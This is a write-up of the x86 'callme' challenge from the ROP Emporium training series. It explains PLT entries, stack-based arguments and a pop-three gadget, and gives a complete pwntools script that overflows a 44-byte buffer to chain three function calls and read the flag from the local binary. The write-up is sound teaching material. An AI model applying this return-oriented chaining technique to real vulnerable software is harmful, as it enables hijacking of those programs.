ROP Emporium callme Writeup (x86)
Introduction
ROP Emporium provides a series of challenges to learn and practice Return Oriented Programming (ROP). This is the third challenge of eight.
According to the challenge page our goal is to call the functions callme_one()
, callme_two()
, and callme_three()
in that order with the arguments 0xdeadbeef
, 0xcafebabe
, and 0xd00df00d
.
We should essentially be running
1
2
3
callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d);
callme_two(0xdeadbeef, 0xcafebabe, 0xd00df00d);
callme_three(0xdeadbeef, 0xcafebabe, 0xd00df00d);
This is what a hint will look like!
Exploit Crafting
The offset for x86
challenges will be 44 bytes
. If you want to know how to get this value see the x86
ret2win writeup
Function Address
What are the plt addresses of the functions?
Using radare2
we can analyze a binary by running aaa
. To list functions with their addresses we can run afl
The function addresses we need are
1
2
3
callme_one: 0x080484f0
callme_two: 0x08048550
callme_three: 0x080484e0
Procedure Linkage Table
These addresses aren’t addresses of call
instructions, but rather plt
entries. These plt
entries are used to lookup the address of a function located in an external library. You can tell when an address is a plt
address by the sym.imp
string in r2
If you want a deeper understanding of the plt
(procedure linkage table) and the got
(global offset table) you can check the How lazy binding works
section in the ROP Emporium Beginners Guide as well as this fantastic blog post
Why are we using the plt
entries for the functions rather than the calls in usefulFunction
? When a call
instruction is executed, it’ll execute the function while also placing the return address onto the stack! So once callme_one()
is finished it will continue to execute instructions in usefulFunction
So after we finish callme_one()
, the program will exit. This would could be okay for one function call but we want to chain a few together
Adding Arguments
Which instruction removes a value from the stack and moves the stack pointer?
x86 Calling Convention
In x86
, we pass each argument onto the stack. There are other x86
calling conventions but passing arguments is all we need to know for our purposes
The previous challenge used a call
instruction to invoke a function, but that won’t work if we want to chain multiple functions together. Using a call
also has the hidden effect of automatically adding a return address to the stack!
Argument Debugging
Since we aren’t using call
, we need to manually maintain the stack. A first attempt at constructing a ROP chain for this challenge might look something like this
But when we try to run this, callme_one
’s first argument is incorrect! It points to the second arg (0xcafebabe
) instead of the first (0xdeadbeef
)
If we try to add some junk data (0x66666666
) between callme_one
and 0xdeadbeef
we get a return error
If we replace the junk data with the address of callme_two
, the second function will get called but the stack will be a little wonky…
What essentially happened is once callme_one
finished (with the proper arguments) the callme_one
address was pop
ped off the stack and our previous junk entry is now at the top of the stack. That address is called and we have the same stack argument offset issues as before!
Gadget
So how do we solve this? Here’s a great article which goes over some methods for chaining functions in a 32 bit environment.
We’re going to be taking advantage of the pop
command. You should know by now that it takes a value off of the stack and places it into a specified register. What makes this really powerful is that it not only sets a register, it’ll update the stack pointer to remove the space reserved for this value! This will allow us to completely delete our function arguments off of the stack so the stack is properly set for our next function call
Since we have three arguments, we should find a gadget which pop
s three arguments into any register. In radare2
we can use the /R
command
1
/R pop
If we set this gadget to run once callme
ends, it’ll remove all of the arguments for that function and we’re free to call more arbitrary functions with arbitrary arguments! The stack should look like this in the final exploit
Exploit
Now we have everything we need to build the exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
# useful addresses
callme1_addr = 0x080484f0
callme2_addr = 0x08048550
callme3_addr = 0x080484e0
pop_3 = 0x080487f9
# adds function arguments onto the stack
def add_args(args):
# fixes stack after function returns
payload = p32(pop_3)
# adds args
for a in args:
payload += p32(a)
return payload
# required callme args in the proper order
args = [0xdeadbeef, 0xcafebabe, 0xd00df00d]
# construct payload
payload = b'A' * 44
# callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d)
payload += p32(callme1_addr)
payload += add_args(args)
payload += p32(callme2_addr)
payload += add_args(args)
payload += p32(callme3_addr)
payload += add_args(args)
# send payload + receive flag
io = process('./callme32')
io.send(payload)
io.recvuntil(b'callme_two() called correctly\n')
flag = io.recvline()
log.success(flag.decode('utf-8'))
Conclusion
This challenge takes things a step further than just calling an arbitrary function by introducting the ability to set arbitrary arguments for that function. This isn’t as simple as it seems as we also need to maintain the stack under x86
with a pop
gadget!